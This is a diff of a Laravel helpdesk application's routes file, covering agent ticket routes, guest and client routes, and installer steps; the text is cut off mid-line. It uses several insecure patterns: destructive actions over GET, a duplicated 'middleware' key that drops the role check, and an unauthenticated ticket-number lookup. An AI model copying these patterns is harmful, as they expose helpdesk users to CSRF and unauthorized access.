Route::get('/ticket/delete/{id}', ['as' => 'ticket.delete', 'uses' => 'Agent\helpdesk\TicketController@delete']); /* Get Ticket Delete */ + + Route::get('/email/ban/{id}', ['as' => 'ban.email', 'uses' => 'Agent\helpdesk\TicketController@ban']); /* Get Ban Email */ + + Route::get('/ticket/surrender/{id}', ['as' => 'ticket.surrender', 'uses' => 'Agent\helpdesk\TicketController@surrender']); /* Get Ticket Surrender */ + + Route::get('/aaaa', 'Client\helpdesk\GuestController@ticket_number'); + + Route::get('trash', ['as' => 'get-trash', 'uses' => 'Agent\helpdesk\TicketController@trash']); /* To show Deleted Tickets */ + Breadcrumbs::register('get-trash', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.trash'), route('get-trash')); + }); + + Route::get('/ticket/trash', ['as' => 'get.trash.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_trash']); /* Get tickets in datatable */ + + Route::get('unassigned', ['as' => 'unassigned', 'uses' => 'Agent\helpdesk\TicketController@unassigned']); /* To show Unassigned Tickets */ + Breadcrumbs::register('unassigned', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.unassigned-tickets'), route('unassigned')); + }); + + Route::get('/ticket/unassigned', ['as' => 'get.unassigned.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_unassigned']); /* Get tickets in datatable */ + + Route::get('dashboard', ['as' => 'dashboard', 'uses' => 'Agent\helpdesk\DashboardController@index']); /* To show dashboard pages */ + Breadcrumbs::register('dashboard', function ($breadcrumbs) { + //$breadcrumbs->parent('/'); + $breadcrumbs->push(Lang::get('lang.dashboard'), route('dashboard')); + }); + + Route::get('agen', 'Agent\helpdesk\DashboardController@ChartData'); + + Route::get('image/{id}', ['as' => 'image', 'uses' => 'Agent\helpdesk\MailController@get_data']); /* get image */ + + Route::get('thread/auto/{id}', 'Agent\helpdesk\TicketController@autosearch'); + + Route::get('auto', 'Agent\helpdesk\TicketController@autosearch2'); + + Route::patch('search-user', 'Agent\helpdesk\TicketController@usersearch'); + + Route::patch('add-user', 'Agent\helpdesk\TicketController@useradd'); + + Route::post('remove-user', 'Agent\helpdesk\TicketController@userremove'); + + Route::post('select_all', ['as' => 'select_all', 'uses' => 'Agent\helpdesk\TicketController@select_all']); + + Route::post('canned/{id}', 'Agent\helpdesk\CannedController@get_canned'); + + // Route::get('message' , 'MessageController@show'); + + Route::post('lock', ['as' => 'lock', 'uses' => 'Agent\helpdesk\TicketController@lock']); + + Route::patch('user-org-assign/{id}', ['as' => 'user.assign.org', 'uses' => 'Agent\helpdesk\UserController@UserAssignOrg']); + + Route::patch('/user-org/{id}', 'Agent\helpdesk\UserController@User_Create_Org'); + + Route::patch('/head-org/{id}', 'Agent\helpdesk\OrganizationController@Head_Org'); + + // Department ticket + + Route::get('/{dept}/open', ['as' => 'dept.open.ticket', 'uses' => 'Agent\helpdesk\TicketController@deptopen']); // Open + Breadcrumbs::register('dept.open.ticket', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.open_tickets'), url('/{dept}/open')); + }); + + Route::get('/{dept}/inprogress', ['as' => 'dept.inprogress.ticket', 'uses' => 'Agent\helpdesk\TicketController@deptinprogress']); // Inprogress + Breadcrumbs::register('dept.inprogress.ticket', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.inprogress_tickets'), url('/{dept}/inprogress')); + }); + + Route::get('/{dept}/closed', ['as' => 'dept.closed.ticket', 'uses' => 'Agent\helpdesk\TicketController@deptclose']); // Closed + Breadcrumbs::register('dept.closed.ticket', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.closed_tickets'), url('/{dept}/closed')); + }); + + Route::post('rating/{id}', ['as' => 'ticket.rating', 'uses' => 'Agent\helpdesk\TicketController@rating']); /* Get overall Ratings */ + + Route::post('rating2/{id}', ['as' => 'ticket.rating2', 'uses' => 'Agent\helpdesk\TicketController@ratingReply']); /* Get reply Ratings */ + // To check and lock tickets + Route::get('check/lock/{id}', ['as' => 'lock', 'uses' => 'Agent\helpdesk\TicketController@checkLock']); + + Route::patch('/change-owner/{id}', ['as' => 'change.owner.ticket', 'uses' => 'Agent\helpdesk\TicketController@changeOwner']); /* change owner */ + + //To merge tickets + + Route::get('/get-merge-tickets/{id}', ['as' => 'get.merge.tickets', 'uses' => 'Agent\helpdesk\TicketController@getMergeTickets']); + + Route::get('/check-merge-ticket/{id}', ['as' => 'check.merge.tickets', 'uses' => 'Agent\helpdesk\TicketController@checkMergeTickets']); + + Route::get('/get-parent-tickets/{id}', ['as' => 'get.parent.ticket', 'uses' => 'Agent\helpdesk\TicketController@getParentTickets']); + + Route::patch('/merge-tickets/{id}', ['as' => 'merge.tickets', 'uses' => 'Agent\helpdesk\TicketController@mergeTickets']); + + //To get department tickets data + //open tickets of department + Route::get('/get-open-tickets/{id}', ['as' => 'get.dept.open', 'uses' => 'Agent\helpdesk\Ticket2Controller@getOpenTickets']); + + //close tickets of deartment + Route::get('/get-closed-tickets/{id}', ['as' => 'get.dept.close', 'uses' => 'Agent\helpdesk\Ticket2Controller@getCloseTickets']); + + //in progress ticket of department + Route::get('/get-under-process-tickets/{id}', ['as' => 'get.dept.inprocess', 'uses' => 'Agent\helpdesk\Ticket2Controller@getInProcessTickets']); }); - Route::get('profile-edit', ['as' => 'agent-profile-edit', 'uses' => 'Agent\helpdesk\UserController@getProfileedit']); /* User profile edit get */ - Breadcrumbs::register('agent-profile-edit', function ($breadcrumbs) { - $breadcrumbs->parent('profile'); - $breadcrumbs->push(Lang::get('lang.edit'), url('profile-edit')); - }); - - Route::patch('agent-profile', ['as' => 'agent-profile', 'uses' => 'Agent\helpdesk\UserController@postProfileedit']); /* User Profile Post */ - - Route::patch('agent-profile-password/{id}', 'Agent\helpdesk\UserController@postProfilePassword'); /* Profile Password Post */ - - Route::get('canned/list', ['as' => 'canned.list', 'uses' => 'Agent\helpdesk\CannedController@index']); /* Canned list */ - Breadcrumbs::register('canned.list', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.canned_response'), route('canned.list')); - }); - - Route::get('canned/create', ['as' => 'canned.create', 'uses' => 'Agent\helpdesk\CannedController@create']); /* Canned create */ - Breadcrumbs::register('canned.create', function ($breadcrumbs) { - $breadcrumbs->parent('canned.list'); - $breadcrumbs->push(Lang::get('lang.create'), route('canned.create')); - }); - - Route::patch('canned/store', ['as' => 'canned.store', 'uses' => 'Agent\helpdesk\CannedController@store']); /* Canned store */ - - Route::get('canned/edit/{id}', ['as' => 'canned.edit', 'uses' => 'Agent\helpdesk\CannedController@edit']); /* Canned edit */ - Breadcrumbs::register('canned.edit', function ($breadcrumbs) { - $breadcrumbs->parent('canned.list'); - $breadcrumbs->push(Lang::get('lang.edit'), url('canned/edit/{id}')); - }); - - Route::patch('canned/update/{id}', ['as' => 'canned.update', 'uses' => 'Agent\helpdesk\CannedController@update']); /* Canned update */ - - Route::get('canned/show/{id}', ['as' => 'canned.show', 'uses' => 'Agent\helpdesk\CannedController@show']); /* Canned show */ - - Route::delete('canned/destroy/{id}', ['as' => 'canned.destroy', 'uses' => 'Agent\helpdesk\CannedController@destroy']); /* Canned delete */ - - Route::get('/test', ['as' => 'thr', 'uses' => 'Agent\helpdesk\MailController@fetchdata']); /* Fetch Emails */ - - Route::get('/ticket', ['as' => 'ticket', 'uses' => 'Agent\helpdesk\TicketController@ticket_list']); /* Get Ticket */ - - Route::get('/ticket/inbox', ['as' => 'inbox.ticket', 'uses' => 'Agent\helpdesk\TicketController@inbox_ticket_list']); /* Get Inbox Ticket */ - Breadcrumbs::register('inbox.ticket', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.inbox'), route('inbox.ticket')); - }); - - Route::get('/ticket/get-inbox', ['as' => 'get.inbox.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_inbox']); /* Get tickets in datatable */ - - Route::get('/ticket/open', ['as' => 'open.ticket', 'uses' => 'Agent\helpdesk\TicketController@open_ticket_list']); /* Get Open Ticket */ - Breadcrumbs::register('open.ticket', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.open-tickets'), route('open.ticket')); - }); - - - Route::get('/ticket/get-open', ['as' => 'get.open.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_open']); /* Get tickets in datatable */ - - - Route::get('/ticket/answered', ['as' => 'answered.ticket', 'uses' => 'Agent\helpdesk\TicketController@answered_ticket_list']); /* Get Answered Ticket */ - Breadcrumbs::register('answered.ticket', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.answered_tickets'), route('answered.ticket')); - }); - - Route::get('/ticket/get-answered', ['as' => 'get.answered.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_answered']); /* Get tickets in datatable */ - - Route::get('/ticket/myticket', ['as' => 'myticket.ticket', 'uses' => 'Agent\helpdesk\TicketController@myticket_ticket_list']); /* Get Tickets Assigned to logged user */ - Breadcrumbs::register('myticket.ticket', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.my_tickets'), route('myticket.ticket')); - }); - - Route::get('/ticket/get-myticket', ['as' => 'get.myticket.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_myticket']); /* Get tickets in datatable */ - - Route::get('/ticket/overdue', ['as' => 'overdue.ticket', 'uses' => 'Agent\helpdesk\TicketController@overdue_ticket_list']); /* Get Overdue Ticket */ - Breadcrumbs::register('overdue.ticket', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.overdue-tickets'), route('overdue.ticket')); - }); - - Route::get('/ticket/get-overdue', ['as' => 'get.overdue.ticket', 'uses' => 'Agent\helpdesk\TicketController@getOverdueTickets']); /* Get Overdue Ticket */ - - Route::get('/ticket/closed', ['as' => 'closed.ticket', 'uses' => 'Agent\helpdesk\TicketController@closed_ticket_list']); /* Get Closed Ticket */ - Breadcrumbs::register('closed.ticket', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.closed_tickets'), route('closed.ticket')); - }); - - Route::get('/ticket/get-closed', ['as' => 'get.closed.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_closed']); /* Get tickets in datatable */ - - Route::get('/ticket/assigned', ['as' => 'assigned.ticket', 'uses' => 'Agent\helpdesk\TicketController@assigned_ticket_list']); /* Get Assigned Ticket */ - Breadcrumbs::register('assigned.ticket', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.assigned_tickets'), route('assigned.ticket')); - }); - - Route::get('/ticket/get-assigned', ['as' => 'get.assigned.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_assigned']); /* Get tickets in datatable */ - - Route::get('/newticket', ['as' => 'newticket', 'uses' => 'Agent\helpdesk\TicketController@newticket']); /* Get Create New Ticket */ - Breadcrumbs::register('newticket', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.create_ticket'), route('newticket')); - }); - - Route::post('/newticket/post', ['as' => 'post.newticket', 'uses' => 'Agent\helpdesk\TicketController@post_newticket']); /* Post Create New Ticket */ - - Route::get('/thread/{id}', ['as' => 'ticket.thread', 'uses' => 'Agent\helpdesk\TicketController@thread']); /* Get Thread by ID */ - Breadcrumbs::register('ticket.thread', function ($breadcrumbs, $id) { - $breadcrumbs->parent('dashboard'); - $ticket_number = App\Model\helpdesk\Ticket\Tickets::where('id', '=', $id)->first(); - $breadcrumbs->push($ticket_number->ticket_number, url('/thread/{id}')); - }); - - - Route::patch('/thread/reply/{id}', ['as' => 'ticket.reply', 'uses' => 'Agent\helpdesk\TicketController@reply']); /* Patch Thread Reply */ - - Route::patch('/internal/note/{id}', ['as' => 'Internal.note', 'uses' => 'Agent\helpdesk\TicketController@InternalNote']); /* Patch Internal Note */ - - Route::patch('/ticket/assign/{id}', ['as' => 'assign.ticket', 'uses' => 'Agent\helpdesk\TicketController@assign']); /* Patch Ticket assigned to whom */ - - Route::patch('/ticket/post/edit/{id}', ['as' => 'ticket.post.edit', 'uses' => 'Agent\helpdesk\TicketController@ticketEditPost']); /* Patchi Ticket Edit */ - - Route::get('/ticket/print/{id}', ['as' => 'ticket.print', 'uses' => 'Agent\helpdesk\TicketController@ticket_print']); /* Get Print Ticket */ - - Route::get('/ticket/close/{id}', ['as' => 'ticket.close', 'uses' => 'Agent\helpdesk\TicketController@close']); /* Get Ticket Close */ - - Route::get('/ticket/resolve/{id}', ['as' => 'ticket.resolve', 'uses' => 'Agent\helpdesk\TicketController@resolve']); /* Get ticket Resolve */ - - Route::get('/ticket/open/{id}', ['as' => 'ticket.open', 'uses' => 'Agent\helpdesk\TicketController@open']); /* Get Ticket Open */ - - Route::get('/ticket/delete/{id}', ['as' => 'ticket.delete', 'uses' => 'Agent\helpdesk\TicketController@delete']); /* Get Ticket Delete */ - - Route::get('/email/ban/{id}', ['as' => 'ban.email', 'uses' => 'Agent\helpdesk\TicketController@ban']); /* Get Ban Email */ - - Route::get('/ticket/surrender/{id}', ['as' => 'ticket.surrender', 'uses' => 'Agent\helpdesk\TicketController@surrender']); /* Get Ticket Surrender */ - - Route::get('/aaaa', 'Client\helpdesk\GuestController@ticket_number'); - - Route::get('trash', ['as' => 'get-trash', 'uses' => 'Agent\helpdesk\TicketController@trash']); /* To show Deleted Tickets */ - Breadcrumbs::register('get-trash', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.trash'), route('get-trash')); - }); - - Route::get('/ticket/trash', ['as' => 'get.trash.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_trash']); /* Get tickets in datatable */ - - Route::get('unassigned', ['as' => 'unassigned', 'uses' => 'Agent\helpdesk\TicketController@unassigned']); /* To show Unassigned Tickets */ - Breadcrumbs::register('unassigned', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.unassigned-tickets'), route('unassigned')); - }); - - Route::get('/ticket/unassigned', ['as' => 'get.unassigned.ticket', 'uses' => 'Agent\helpdesk\TicketController@get_unassigned']); /* Get tickets in datatable */ - - Route::get('dashboard', ['as' => 'dashboard', 'uses' => 'Agent\helpdesk\DashboardController@index']); /* To show dashboard pages */ - Breadcrumbs::register('dashboard', function ($breadcrumbs) { - //$breadcrumbs->parent('/'); - $breadcrumbs->push(Lang::get('lang.dashboard'), route('dashboard')); - }); - - Route::get('agen', 'Agent\helpdesk\DashboardController@ChartData'); - - Route::get('image/{id}', ['as' => 'image', 'uses' => 'Agent\helpdesk\MailController@get_data']); /* get image */ - - Route::get('thread/auto/{id}', 'Agent\helpdesk\TicketController@autosearch'); - - Route::get('auto', 'Agent\helpdesk\TicketController@autosearch2'); - - Route::patch('search-user', 'Agent\helpdesk\TicketController@usersearch'); - - Route::patch('add-user', 'Agent\helpdesk\TicketController@useradd'); - - Route::post('remove-user', 'Agent\helpdesk\TicketController@userremove'); - - Route::post('select_all', ['as' => 'select_all', 'uses' => 'Agent\helpdesk\TicketController@select_all']); - - Route::post('canned/{id}', 'Agent\helpdesk\CannedController@get_canned'); - - // Route::get('message' , 'MessageController@show'); - - Route::post('lock', ['as' => 'lock', 'uses' => 'Agent\helpdesk\TicketController@lock']); - - Route::patch('user-org-assign/{id}', ['as' => 'user.assign.org', 'uses' => 'Agent\helpdesk\UserController@UserAssignOrg']); - - Route::patch('/user-org/{id}', 'Agent\helpdesk\UserController@User_Create_Org'); - - Route::patch('/head-org/{id}', 'Agent\helpdesk\OrganizationController@Head_Org'); - - // Department ticket - - Route::get('/{dept}/open', ['as' => 'dept.open.ticket', 'uses' => 'Agent\helpdesk\TicketController@deptopen']); // Open - Breadcrumbs::register('dept.open.ticket', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.open_tickets'), url('/{dept}/open')); - }); - - Route::get('/{dept}/inprogress', ['as' => 'dept.inprogress.ticket', 'uses' => 'Agent\helpdesk\TicketController@deptinprogress']); // Inprogress - Breadcrumbs::register('dept.inprogress.ticket', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.inprogress_tickets'), url('/{dept}/inprogress')); - }); - - Route::get('/{dept}/closed', ['as' => 'dept.closed.ticket', 'uses' => 'Agent\helpdesk\TicketController@deptclose']); // Closed - Breadcrumbs::register('dept.closed.ticket', function ($breadcrumbs) { - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push(Lang::get('lang.closed_tickets'), url('/{dept}/closed')); - }); - - Route::post('rating/{id}', ['as' => 'ticket.rating', 'uses' => 'Agent\helpdesk\TicketController@rating']); /* Get overall Ratings */ - - Route::post('rating2/{id}', ['as' => 'ticket.rating2', 'uses' => 'Agent\helpdesk\TicketController@ratingReply']); /* Get reply Ratings */ - // To check and lock tickets - Route::get('check/lock/{id}', ['as' => 'lock', 'uses' => 'Agent\helpdesk\TicketController@checkLock']); - - Route::patch('/change-owner/{id}', ['as' => 'change.owner.ticket', 'uses' => 'Agent\helpdesk\TicketController@changeOwner']); /* change owner */ - - //To merge tickets - - Route::get('/get-merge-tickets/{id}', ['as' => 'get.merge.tickets', 'uses' => 'Agent\helpdesk\TicketController@getMergeTickets']); - - Route::get('/check-merge-ticket/{id}', ['as' => 'check.merge.tickets', 'uses' => 'Agent\helpdesk\TicketController@checkMergeTickets']); - - Route::get('/get-parent-tickets/{id}', ['as' => 'get.parent.ticket', 'uses' => 'Agent\helpdesk\TicketController@getParentTickets']); - - Route::patch('/merge-tickets/{id}', ['as' => 'merge.tickets', 'uses' => 'Agent\helpdesk\TicketController@mergeTickets']); - - //To get department tickets data - //open tickets of department - Route::get('/get-open-tickets/{id}', ['as' => 'get.dept.open', 'uses' => 'Agent\helpdesk\Ticket2Controller@getOpenTickets']); - - //close tickets of deartment - Route::get('/get-closed-tickets/{id}', ['as' => 'get.dept.close', 'uses' => 'Agent\helpdesk\Ticket2Controller@getCloseTickets']); - - //in progress ticket of department - Route::get('/get-under-process-tickets/{id}', ['as' => 'get.dept.inprocess', 'uses' => 'Agent\helpdesk\Ticket2Controller@getInProcessTickets']); -}); - -/* - |------------------------------------------------------------------ - |Guest Routes - |-------------------------------------------------------------------- - | Here defining Guest User's routes - | - | - */ + /* + |------------------------------------------------------------------ + |Guest Routes + |-------------------------------------------------------------------- + | Here defining Guest User's routes + | + | + */ // seasrch -Route::POST('tickets/search/', function () { - $keyword = Illuminate\Support\Str::lower(Input::get('auto')); - $models = App\Model\Ticket\Tickets::where('ticket_number', '=', $keyword)->orderby('ticket_number')->take(10)->skip(0)->get(); - $count = count($models); + Route::POST('tickets/search/', function () { + $keyword = Illuminate\Support\Str::lower(Input::get('auto')); + $models = App\Model\Ticket\Tickets::where('ticket_number', '=', $keyword)->orderby('ticket_number')->take(10)->skip(0)->get(); + $count = count($models); - return Illuminate\Support\Facades\Redirect::back()->with('contents', $models)->with('counts', $count); -}); -Route::any('getdata', function () { - $term = Illuminate\Support\Str::lower(Input::get('term')); - $data = Illuminate\Support\Facades\DB::table('tickets')->distinct()->select('ticket_number')->where('ticket_number', 'LIKE', $term.'%')->groupBy('ticket_number')->take(10)->get(); - foreach ($data as $v) { - return [ - 'value' => $v->ticket_number, - ]; - } -}); + return Illuminate\Support\Facades\Redirect::back()->with('contents', $models)->with('counts', $count); + }); + Route::any('getdata', function () { + $term = Illuminate\Support\Str::lower(Input::get('term')); + $data = Illuminate\Support\Facades\DB::table('tickets')->distinct()->select('ticket_number')->where('ticket_number', 'LIKE', $term . '%')->groupBy('ticket_number')->take(10)->get(); + foreach ($data as $v) { + return [ + 'value' => $v->ticket_number, + ]; + } + }); -Route::get('getform', ['as' => 'guest.getform', 'uses' => 'Client\helpdesk\FormController@getForm']); /* get the form for create a ticket by guest user */ + Route::get('getform', ['as' => 'guest.getform', 'uses' => 'Client\helpdesk\FormController@getForm']); /* get the form for create a ticket by guest user */ -Route::post('postform/{id}', 'Client\helpdesk\FormController@postForm'); /* post the AJAX form for create a ticket by guest user */ + Route::post('postform/{id}', 'Client\helpdesk\FormController@postForm'); /* post the AJAX form for create a ticket by guest user */ -Route::post('postedform', 'Client\helpdesk\FormController@postedForm'); /* post the form to store the value */ + Route::post('postedform', 'Client\helpdesk\FormController@postedForm'); /* post the form to store the value */ -Route::get('check', 'CheckController@getcheck'); //testing checkbox auto-populate + Route::get('check', 'CheckController@getcheck'); //testing checkbox auto-populate -Route::post('postcheck/{id}', 'CheckController@postcheck'); -Breadcrumbs::register('home', function ($breadcrumbs) { - $breadcrumbs->push('Home', route('home')); -}); -Route::get('home', ['as' => 'home', 'uses' => 'Client\helpdesk\WelcomepageController@index']); //guest layout -Breadcrumbs::register('/', function ($breadcrumbs) { - $breadcrumbs->push('Home', route('/')); -}); -Route::get('/', ['as' => '/', 'uses' => 'Client\helpdesk\WelcomepageController@index']); -Breadcrumbs::register('form', function ($breadcrumbs) { - $breadcrumbs->push('Create Ticket', route('form')); -}); -Route::get('create-ticket', ['as' => 'form', 'uses' => 'Client\helpdesk\FormController@getForm']); //getform + Route::post('postcheck/{id}', 'CheckController@postcheck'); + Breadcrumbs::register('home', function ($breadcrumbs) { + $breadcrumbs->push('Home', route('home')); + }); + Route::get('home', ['as' => 'home', 'uses' => 'Client\helpdesk\WelcomepageController@index']); //guest layout + Breadcrumbs::register('/', function ($breadcrumbs) { + $breadcrumbs->push('Home', route('/')); + }); + Route::get('/', ['as' => '/', 'uses' => 'Client\helpdesk\WelcomepageController@index']); + Breadcrumbs::register('form', function ($breadcrumbs) { + $breadcrumbs->push('Create Ticket', route('form')); + }); + Route::get('create-ticket', ['as' => 'form', 'uses' => 'Client\helpdesk\FormController@getForm']); //getform -Route::get('mytickets/{id}', ['as' => 'ticketinfo', 'uses' => 'Client\helpdesk\GuestController@singleThread']); //detail ticket information + Route::get('mytickets/{id}', ['as' => 'ticketinfo', 'uses' => 'Client\helpdesk\GuestController@singleThread']); //detail ticket information -Route::post('checkmyticket', 'Client\helpdesk\UnAuthController@PostCheckTicket'); //ticket ckeck -Breadcrumbs::register('check_ticket', function ($breadcrumbs, $id) { - $page = \App\Model\helpdesk\Ticket\Tickets::whereId(1)->first(); - $breadcrumbs->parent('dashboard'); - $breadcrumbs->push('Check Ticket'); -}); -Route::get('check_ticket/{id}', ['as' => 'check_ticket', 'uses' => 'Client\helpdesk\GuestController@get_ticket_email']); //detail ticket information + Route::post('checkmyticket', 'Client\helpdesk\UnAuthController@PostCheckTicket'); //ticket ckeck + Breadcrumbs::register('check_ticket', function ($breadcrumbs, $id) { + $page = \App\Model\helpdesk\Ticket\Tickets::whereId(1)->first(); + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push('Check Ticket'); + }); + Route::get('check_ticket/{id}', ['as' => 'check_ticket', 'uses' => 'Client\helpdesk\GuestController@get_ticket_email']); //detail ticket information // show ticket via have a ticket -Route::get('show-ticket/{id}/{code}', ['as' => 'show.ticket', 'uses' => 'Client\helpdesk\UnAuthController@showTicketCode']); //detail ticket information -Breadcrumbs::register('show.ticket', function ($breadcrumbs) { - $breadcrumbs->push('Ticket', route('form')); -}); + Route::get('show-ticket/{id}/{code}', ['as' => 'show.ticket', 'uses' => 'Client\helpdesk\UnAuthController@showTicketCode']); //detail ticket information + Breadcrumbs::register('show.ticket', function ($breadcrumbs) { + $breadcrumbs->push('Ticket', route('form')); + }); //testing ckeditor //=================================================================================== -Route::group(['middleware' => 'role.user', 'middleware' => 'auth'], function () { - Route::get('client-profile', ['as' => 'client.profile', 'uses' => 'Client\helpdesk\GuestController@getProfile']); /* User profile get */ - Breadcrumbs::register('client.profile', function ($breadcrumbs) { - $breadcrumbs->push('My Profile'); + Route::group(['middleware' => 'role.user', 'middleware' => 'auth'], function () { + Route::get('client-profile', ['as' => 'client.profile', 'uses' => 'Client\helpdesk\GuestController@getProfile']); /* User profile get */ + Breadcrumbs::register('client.profile', function ($breadcrumbs) { + $breadcrumbs->push('My Profile'); + }); + + + Breadcrumbs::register('ticket2', function ($breadcrumbs) { + $breadcrumbs->push('My Tickets', route('ticket2')); + }); + Route::get('mytickets', ['as' => 'ticket2', 'uses' => 'Client\helpdesk\GuestController@getMyticket']); + + Route::get('myticket/{id}', ['as' => 'ticket', 'uses' => 'Client\helpdesk\GuestController@thread']); /* Get my tickets */ + + Route::patch('client-profile-edit', 'Client\helpdesk\GuestController@postProfile'); /* User Profile Post */ + + Route::patch('client-profile-password', 'Client\helpdesk\GuestController@postProfilePassword'); /* Profile Password Post */ + + Route::post('post/reply/{id}', ['as' => 'client.reply', 'uses' => 'Client\helpdesk\ClientTicketController@reply']); }); - - Breadcrumbs::register('ticket2', function ($breadcrumbs) { - $breadcrumbs->push('My Tickets', route('ticket2')); - }); - Route::get('mytickets', ['as' => 'ticket2', 'uses' => 'Client\helpdesk\GuestController@getMyticket']); - - Route::get('myticket/{id}', ['as' => 'ticket', 'uses' => 'Client\helpdesk\GuestController@thread']); /* Get my tickets */ - - Route::patch('client-profile-edit', 'Client\helpdesk\GuestController@postProfile'); /* User Profile Post */ - - Route::patch('client-profile-password', 'Client\helpdesk\GuestController@postProfilePassword'); /* Profile Password Post */ - - Route::post('post/reply/{id}', ['as' => 'client.reply', 'uses' => 'Client\helpdesk\ClientTicketController@reply']); -}); - //==================================================================================== -Route::get('checkticket', 'Client\helpdesk\ClientTicketController@getCheckTicket'); /* Check your Ticket */ + Route::get('checkticket', 'Client\helpdesk\ClientTicketController@getCheckTicket'); /* Check your Ticket */ -Route::get('myticket', ['as' => 'ticket', 'uses' => 'Client\helpdesk\GuestController@getMyticket']); /* Get my tickets */ + Route::get('myticket', ['as' => 'ticket', 'uses' => 'Client\helpdesk\GuestController@getMyticket']); /* Get my tickets */ -Route::get('myticket/{id}', ['as' => 'ticket', 'uses' => 'Client\helpdesk\GuestController@thread']); /* Get my tickets */ + Route::get('myticket/{id}', ['as' => 'ticket', 'uses' => 'Client\helpdesk\GuestController@thread']); /* Get my tickets */ -Route::post('postcheck', 'Client\helpdesk\GuestController@PostCheckTicket'); /* post Check Ticket */ + Route::post('postcheck', 'Client\helpdesk\GuestController@PostCheckTicket'); /* post Check Ticket */ -Route::get('postcheck', 'Client\helpdesk\GuestController@PostCheckTicket'); + Route::get('postcheck', 'Client\helpdesk\GuestController@PostCheckTicket'); -Route::post('post-ticket-reply/{id}', 'Client\helpdesk\FormController@post_ticket_reply'); -/* - |============================================================ - | Installer Routes - |============================================================ - | These routes are for installer - | - */ -Route::get('/serial', ['as' => 'serialkey', 'uses' => 'Installer\helpdesk\InstallController@serialkey']); -Route::post('/CheckSerial/{id}', ['as' => 'CheckSerial', 'uses' => 'Installer\helpdesk\InstallController@PostSerialKey']); -Route::get('/JavaScript-disabled', ['as' => 'js-disabled', 'uses' => 'Installer\helpdesk\InstallController@jsDisabled']); -Route::get('/step1', ['as' => 'licence', 'uses' => 'Installer\helpdesk\InstallController@licence']); -Route::post('/step1post', ['as' => 'postlicence', 'uses' => 'Installer\helpdesk\InstallController@licencecheck']); -Route::get('/step2', ['as' => 'prerequisites', 'uses' => 'Installer\helpdesk\InstallController@prerequisites']); -Route::post('/step2post', ['as' => 'postprerequisites', 'uses' => 'Installer\helpdesk\InstallController@prerequisitescheck']); + Route::post('post-ticket-reply/{id}', 'Client\helpdesk\FormController@post_ticket_reply'); + /* + |============================================================ + | Installer Routes + |============================================================ + | These routes are for installer + | + */ + + Route::get('/serial', ['as' => 'serialkey', 'uses' => 'Installer\helpdesk\InstallController@serialkey']); + Route::post('/CheckSerial/{id}', ['as' => 'CheckSerial', 'uses' => 'Installer\helpdesk\InstallController@PostSerialKey']); + Route::get('/JavaScript-disabled', ['as' => 'js-disabled', 'uses' => 'Installer\helpdesk\InstallController@jsDisabled']); + Route::get('/step1', ['as' => 'licence', 'uses' => 'Installer\helpdesk\InstallController@licence']); + Route::post('/step1post', ['as' => 'postlicence', 'uses' => 'Installer\helpdesk\InstallController@licencecheck']); + Route::get('/step2', ['as' => 'prerequisites', 'uses' => 'Installer\helpdesk\InstallController@prerequisites']); + Route::post('/step2post', ['as' => 'postprerequisites', 'uses' => 'Installer\helpdesk\InstallController@prerequisitescheck']); // Route::get('/step3', ['as' => 'localization', 'uses' => 'Installer\helpdesk\InstallController@localization']); // Route::post('/step3post', ['as' => 'postlocalization', 'uses' => 'Installer\helpdesk\InstallController@localizationcheck']); -Route::get('/step3', ['as' => 'configuration', 'uses' => 'Installer\helpdesk\InstallController@configuration']); -Route::post('/step4post', ['as' => 'postconfiguration', 'uses' => 'Installer\helpdesk\InstallController@configurationcheck']); -Route::get('/step4', ['as' => 'database', 'uses' => 'Installer\helpdesk\InstallController@database']); -Route::get('/step5', ['as' => 'account', 'uses' => 'Installer\helpdesk\InstallController@account']); -Route::post('/step6post', ['as' => 'postaccount', 'uses' => 'Installer\helpdesk\InstallController@accountcheck']); -Route::get('/final', ['as' => 'final', 'uses' => 'Installer\helpdesk\InstallController@finalize']); -Route::post('/finalpost', ['as' => 'postfinal', 'uses' => 'Installer\helpdesk\InstallController@finalcheck']); -Route::post('/postconnection', ['as' => 'postconnection', 'uses' => 'Installer\helpdesk\InstallController@postconnection']); -Route::get('/change-file-permission', ['as' => 'change-permission', 'uses' => 'Installer\helpdesk\InstallController@changeFilePermission']); + Route::get('/step3', ['as' => 'configuration', 'uses' => 